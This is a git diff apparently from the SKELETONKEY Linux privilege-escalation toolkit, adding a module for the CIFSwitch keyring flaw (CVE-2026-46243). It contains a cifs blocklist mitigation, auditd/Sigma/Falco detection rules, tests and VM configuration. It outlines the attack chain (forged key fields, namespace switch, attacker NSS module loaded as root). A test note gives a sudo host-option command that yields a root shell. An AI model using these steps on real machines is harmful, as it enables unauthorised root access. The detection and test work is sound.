"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
+2
-1
@@ -35,7 +35,7 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.9.8"
|
||||
#define SKELETONKEY_VERSION "0.9.10"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
@@ -1016,6 +1016,7 @@ static int module_safety_rank(const char *n)
|
||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
|
||||
@@ -70,6 +70,7 @@ extern const struct skeletonkey_module vsock_uaf_module;
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
extern const struct skeletonkey_module sudo_host_module;
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
@@ -803,6 +804,44 @@ static void run_all(void)
|
||||
&sudo_host_module, &h_sudo_host_1917,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
|
||||
* Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
|
||||
* 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
|
||||
* whether the cifs.upcall userspace path is present; we drive that
|
||||
* deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
|
||||
* 0=absent) so the rows don't depend on cifs-utils being installed on
|
||||
* the runner. Patched-kernel rows return OK before the probe, so they
|
||||
* need no override. */
|
||||
|
||||
/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
|
||||
struct skeletonkey_host h_ciw_61290 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
|
||||
run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
|
||||
&cifswitch_module, &h_ciw_61290,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_ciw_710 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&cifswitch_module, &h_ciw_710,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
|
||||
struct skeletonkey_host h_ciw_61289 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
|
||||
run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
|
||||
run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
|
||||
/* ── coverage report ─────────────────────────────────────────
|
||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||
* calls in main()) and warn for any module that was not touched
|
||||
|
||||
Binary file not shown.
@@ -303,3 +303,13 @@ sudo_host:
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
|
||||
|
||||
# ── cifswitch (CVE-2026-46243) addition ─────────────────────────────
|
||||
|
||||
cifswitch:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "6.12.89" # one below the 6.12.90 backport; ~19yo bug present
|
||||
kernel_version: "6.12.89"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. Mainline 6.12.89 is one below the 6.12.90 backport so the version gate flags VULNERABLE — but detect() ALSO requires the cifs userspace path: provision cifs-utils (so /usr/sbin/cifs.upcall + the cifs.spnego request-key rule exist) and `modprobe cifs`, else detect() returns PRECOND_FAIL (or force with SKELETONKEY_CIFS_ASSUME_PRESENT=1). exploit() fires the non-destructive add_key(2) cifs.spnego probe and reports the forged-key accept as the primitive witness; the namespace+NSS root-pop is not bundled until VM-verified. Brand-new addition this cycle; provisioner (cifs-utils install) + sweep pending."
|
||||
|
||||
Reference in New Issue
Block a user